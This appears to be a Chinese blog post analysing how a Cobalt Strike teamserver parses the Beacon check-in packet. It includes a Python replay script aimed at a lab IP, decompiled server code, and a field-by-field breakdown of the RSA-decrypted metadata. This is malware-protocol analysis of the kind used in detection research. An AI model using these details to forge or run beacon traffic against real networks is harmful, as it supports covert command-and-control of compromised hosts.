CobaltStrike Beacon上线包解析

beacon上线包

为了方便动态调试,将上线数据进行重放

import requests

url = "http://192.168.110.37/pixel"

headers = {
    "User-Agent": "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)",
    "Accept": "*/*",
    "cookie": "GUUepev9QEIeOLbFgW+Dd7p4k7pR/7I53SDWbSmt0BRBhjritflam/uKtShebvFUZHL136LZcWtAv4haCuZkRB/q7/fK1T2SP3SlAPFs0yfMJ2n1seUw3OcKGcpVelMpL8XEw6FM6LuyYOG7cbIHNGn9dDmq8RDSjZd/YqAHqkY="
    #"cookie": "Fo9SvaBbe7k25AKjov9rE0eP9EaILCM9Kc7X4cqG3rJVDqLJyqjTkwCnfGYM/0nUaRLtLN2MFuQmFm+6oLDS6/HsXQyJmhefb0EnW7T2qcPyR262ZdKLO9BO63Db2pFmvhpib4xEXoMZ+8YI0mB3ze3qPjXVdSjAI3q0Yt43h+U="
}

r = requests.get(url, headers=headers)
print(r.text)
print(r.status_code)

在接收到上线包时,会在beacon/BeanHTTP.java文件中进行解析

public byte[] serve(String var1, String var2, Properties var3, Properties var4) {
   String var5 = ServerUtils.getRemoteAddress(BeaconHTTP.this.c2profile, var3);
    //根据配置文件metadata处理加密数据(配置中为base64,var6中得到解码的数据)
   String var6 = BeaconHTTP.this.c2profile.recover(".http-get.client.metadata", var3, var4, BeaconHTTP.this.getPostedData(var4), var1);
   if (var6.length() != 0 && var6.length() == 128) {
      BeaconEntry var7 = BeaconHTTP.this.controller.process_beacon_metadata(BeaconHTTP.this.listener, var5, CommonUtils.toBytes(var6), (String)null, 0);
      if (var7 == null) {
         MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);
         return new byte[0];
      } else {
         byte[] var8 = BeaconHTTP.this.controller.dump(var7.getId(), 921600, 1048576);
         if (var8.length > 0) {
            byte[] var9 = BeaconHTTP.this.controller.getSymmetricCrypto().encrypt(var7.getId(), var8);
            return var9;
         } else {
            return new byte[0];
         }
      }
   } else {
      CommonUtils.print_error("Invalid session id");
      MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);
      return new byte[0];
   }
}

dns/AsymmetricCrypto.class代码如下

public byte[] decrypt(byte[] var1) {
      byte[] var2 = new byte[0];

      try {
          //RSA解密数据
         synchronized(this.cipher) {
            this.cipher.init(2, this.privatekey);
            var2 = this.cipher.doFinal(var1);
         }
        //校验数据
         DataInputStream var3 = new DataInputStream(new ByteArrayInputStream(var2));
         int var4 = var3.readInt();
         if (var4 != 48879) {//校验魔术头
            System.err.println("Magic number failed :( [RSA decrypt]");
            return new byte[0];
         } else {
            int var5 = var3.readInt();
            if (var5 > 117) {//校验数据长度
               System.err.println("Length field check failed :( [RSA decrypt]");
               return new byte[0];
            } else {
               byte[] var6 = new byte[var5];
               var3.readFully(var6, 0, var5);
               return var6;
            }
         }
      } catch (Exception var8) {
         MudgeSanity.logException("RSA decrypt", var8, false);
         return new byte[0];
      }
   }

decrypt函数功能为RSA解密,校验魔术头和数据长度。

RSA解密后的数据格式如下

00000000: 00 00 BE EF 00 00 00 54  6D E2 6D AD B3 E2 7F 90  .......Tm.m.....
00000010: 8B FD 5F 80 FD AC 29 23  A8 03 A8 03 2A 9E BD F6  .._...)#....*...
00000020: 00 00 0E 4C 00 00 0C 06  01 1D B1 00 00 00 00 75  ...L...........u
00000030: AB 12 45 75 AB 12 22 80  06 A8 C0 57 49 4E 2D 44  ..Eu.."....WIN-D
00000040: 30 43 39 46 4F 54 4A 31  4D 30 09 30 78 31 37 09  0C9FOTJ1M0.0x17.
00000050: 61 72 74 69 66 61 63 74  2E 65 78 65              artifact.exe

beacon/BeaconC2.java的process_beacon_metadata函数

public BeaconEntry process_beacon_metadata(ScListener var1, String var2, byte[] var3, String var4, int var5) {
   //获取解密后的数据(去魔术头和长度)
   byte[] var6 = this.getAsymmetricCrypto().decrypt(var3);
   if (var6 != null && var6.length != 0) {
      String var7 = CommonUtils.bString(var6);
      //beacon生成的16位随机key,用于计算后续下发任务使用的AESKEY和HASHMac
      String var8 = var7.substring(0, 16);
      //编码类型
      String var9 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(16, 18)));
      String var10 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(18, 20)));
      //回连的监听器
      String var11 = "";
      BeaconEntry var12;
      if (var1 != null) {
         var11 = var1.getName();
      } else if (var4 != null) {
         var12 = this.getCheckinListener().resolveEgress(var4);
         if (var12 != null) {
            var11 = var12.getListenerName();
         }
      }
      //BeaconEntry函数解析后续的数据
      var12 = new BeaconEntry(var6, var9, var2, var11);
      if (!var12.sane()) {
         CommonUtils.print_error("Session " + var12 + " metadata validation failed. Dropping");
         return null;
      } else {
         this.getCharsets().register(var12.getId(), var9, var10);
         if (var4 != null) {
            var12.link(var4, var5);
         }

         this.getSymmetricCrypto().registerKey(var12.getId(), CommonUtils.toBytes(var8));
         if (this.getCheckinListener() != null) {
            this.getCheckinListener().checkin(var1, var12);
         } else {
            CommonUtils.print_stat("Checkin listener was NULL (this is good!)");
         }

         return var12;
      }
   } else {
      CommonUtils.print_error("decrypt of metadata failed");
      return null;
   }
}

common/BeaconEntry.java的BeaconEntry函数解析后续数据

public BeaconEntry(byte[] var1, String var2, String var3, String var4) {
   boolean var5;
   try {
      DataParser var6 = new DataParser(var1);
      var6.big();
      var6.consume(20);
      //beaconID 4字节
      this.id = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));
      //beacon进程PID 4字节
      this.pid = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));
      //端口 2字节
      this.port = Integer.toString(CommonUtils.toUnsignedShort(var6.readShort()));
      //第31位,标志,判断进程是32位还是64位,系统是否为64位
      byte var7 = var6.readByte();
      if (CommonUtils.Flag(var7, 1)) {
         this.barch = "";
         this.pid = "";
         this.is64 = "";
      } else if (CommonUtils.Flag(var7, 2)) {
         this.barch = "x64";
      } else {
         this.barch = "x86";
      }

      this.is64 = CommonUtils.Flag(var7, 4) ? "1" : "0";
      var5 = CommonUtils.Flag(var7, 8);
      //获取系统版本号 第32和33位
      byte var8 = var6.readByte(); //大版本号
      byte var9 = var6.readByte(); //小版本号
      this.ver = var8 + "." + var9;
      //系统构建号 2字节 35
      this.build = var6.readShort();
      //gmh_gpa 4字节 39
      byte[] var10 = var6.readBytes(4);
      //gmh函数地址 4字节 43
      this.ptr_gmh = var6.readBytes(4);
      //gpa函数地址 4字节 47
      this.ptr_gpa = var6.readBytes(4);
      if ("x64".equals(this.barch)) {
         this.ptr_gmh = CommonUtils.join(var10, this.ptr_gmh);
         this.ptr_gpa = CommonUtils.join(var10, this.ptr_gpa);
      }

      this.ptr_gmh = CommonUtils.bswap(this.ptr_gmh);
      this.ptr_gpa = CommonUtils.bswap(this.ptr_gpa);
      var6.little();
      //beacon IP 4字节 51  前51字节固定
      this.intz = AddressList.toIP(CommonUtils.toUnsignedInt(var6.readInt()));
      var6.big();
      if ("0.0.0.0".equals(this.intz)) {
         this.intz = "unknown";
      }
   } catch (IOException var11) {
      MudgeSanity.logException("Could not parse metadata!", var11, false);
      this.sane = false;
      return;
   }

   //剩下的数据为计算机名,用户名和beacon进程名
   String var12 = CommonUtils.bString(Arrays.copyOfRange(var1, 51, var1.length), var2);
   String[] var13 = var12.split("\t");
   if (var13.length > 0) {
      this.comp = var13[0];
   }

   if (var13.length > 1) {
      this.user = var13[1];
   }

   if (var13.length > 2) {
      if (this.isSSH()) {
         this.ver = var13[2];
      } else {
         this.proc = var13[2];
      }
   }

   if (var5) {
      this.user = this.user + " *";
   }

   this.ext = var3;
   this.chst = var2;
   this.lname = var4;
   this.sane = this.sanity();
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值